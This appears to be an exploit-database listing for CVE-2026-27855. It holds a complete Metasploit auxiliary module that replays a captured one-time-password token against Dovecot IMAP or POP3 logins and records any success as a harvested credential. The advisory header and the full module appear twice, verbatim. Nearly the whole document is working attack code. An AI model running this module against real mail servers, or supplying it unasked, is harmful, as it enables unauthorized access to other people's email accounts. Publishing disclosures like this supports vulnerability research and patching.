6.8
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Description
This Metasploit auxiliary module targets a vulnerability in Dovecot's OTP One-Time Password authentication system that allows potential replay attacks when authentication caching is enabled and username handling is improperly managed...
Basic Information
ID
PACKETSTORM:219559
Published
Apr 22, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Dovecot OTP Replay Attack Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a vulnerability in Dovecot’s OTP (One-Time Password) authentication system that allows potential replay attacks when authentication
caching is enabled and username handling is improperly managed.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot OTP Replay Attack',
'Description' => %q{
Dovecot OTP authentication is vulnerable to replay attacks when auth cache is
enabled and username is altered in passdb.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27855']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(143),
OptString.new('USERNAME', [true, 'Target username', '']),
OptString.new('OTP_TOKEN', [true, 'Observed OTP token to replay', '']),
OptString.new('SEQUENCE_NUMBER', [true, 'OTP sequence number', '1']),
OptEnum.new('PROTOCOL', [true, 'Protocol', 'IMAP', ['IMAP', 'POP3']])
])
end
def run_host(ip)
print_status("Dovecot OTP Replay Attack (CVE-2026-27855)")
print_status("Target: #{ip}:#{rport}")
username = datastore['USERNAME']
otp_token = datastore['OTP_TOKEN']
sequence = datastore['SEQUENCE_NUMBER']
otp_password = "#{sequence} #{otp_token}"
print_status("Replaying OTP token for user #{username}")
if attempt_otp_replay(username, otp_password)
print_good("OTP replay successful! Authenticated as #{username}")
report_success(username, otp_token)
else
print_error("OTP replay failed")
end
end
def attempt_otp_replay(username, otp_password)
sock = nil
begin
sock = connect
banner = sock.get_once
vprint_status("Banner: #{banner}")
if datastore['PROTOCOL'] == 'IMAP'
sock.put("a1 LOGIN \"#{username}\" \"#{otp_password}\"\r\n")
response = sock.get_once
vprint_status("Response: #{response}")
return true if response && response.to_s.include?('OK')
else
sock.put("USER #{username}\r\n")
response = sock.get_once
if response && response.to_s.include?('+OK')
sock.put("PASS #{otp_password}\r\n")
final = sock.get_once
return true if final && final.to_s.include?('+OK')
end
end
rescue ::Exception => e
vprint_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
false
end
def report_success(username, otp_token)
service_data = {
address: rhost,
port: rport,
service_name: datastore['PROTOCOL'].downcase,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: "OTP Replay - Token: #{otp_token}",
private_type: :password
}.merge(service_data)
create_credential(credential_data)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Dovecot OTP Replay Attack Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.dovecotpro.com/ |
==================================================================================================================================
[+] Summary : This Metasploit auxiliary module targets a vulnerability in Dovecot’s OTP (One-Time Password) authentication system that allows potential replay attacks when authentication
caching is enabled and username handling is improperly managed.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Dovecot OTP Replay Attack',
'Description' => %q{
Dovecot OTP authentication is vulnerable to replay attacks when auth cache is
enabled and username is altered in passdb.
},
'Author' => [
'indoushka'
],
'References' => [
['CVE', '2026-27855']
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-03-27'
)
)
register_options([
Opt::RPORT(143),
OptString.new('USERNAME', [true, 'Target username', '']),
OptString.new('OTP_TOKEN', [true, 'Observed OTP token to replay', '']),
OptString.new('SEQUENCE_NUMBER', [true, 'OTP sequence number', '1']),
OptEnum.new('PROTOCOL', [true, 'Protocol', 'IMAP', ['IMAP', 'POP3']])
])
end
def run_host(ip)
print_status("Dovecot OTP Replay Attack (CVE-2026-27855)")
print_status("Target: #{ip}:#{rport}")
username = datastore['USERNAME']
otp_token = datastore['OTP_TOKEN']
sequence = datastore['SEQUENCE_NUMBER']
otp_password = "#{sequence} #{otp_token}"
print_status("Replaying OTP token for user #{username}")
if attempt_otp_replay(username, otp_password)
print_good("OTP replay successful! Authenticated as #{username}")
report_success(username, otp_token)
else
print_error("OTP replay failed")
end
end
def attempt_otp_replay(username, otp_password)
sock = nil
begin
sock = connect
banner = sock.get_once
vprint_status("Banner: #{banner}")
if datastore['PROTOCOL'] == 'IMAP'
sock.put("a1 LOGIN \"#{username}\" \"#{otp_password}\"\r\n")
response = sock.get_once
vprint_status("Response: #{response}")
return true if response && response.to_s.include?('OK')
else
sock.put("USER #{username}\r\n")
response = sock.get_once
if response && response.to_s.include?('+OK')
sock.put("PASS #{otp_password}\r\n")
final = sock.get_once
return true if final && final.to_s.include?('+OK')
end
end
rescue ::Exception => e
vprint_error("Error: #{e.message}")
ensure
disconnect(sock) if sock
end
false
end
def report_success(username, otp_token)
service_data = {
address: rhost,
port: rport,
service_name: datastore['PROTOCOL'].downcase,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: "OTP Replay - Token: #{otp_token}",
private_type: :password
}.merge(service_data)
create_credential(credential_data)
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================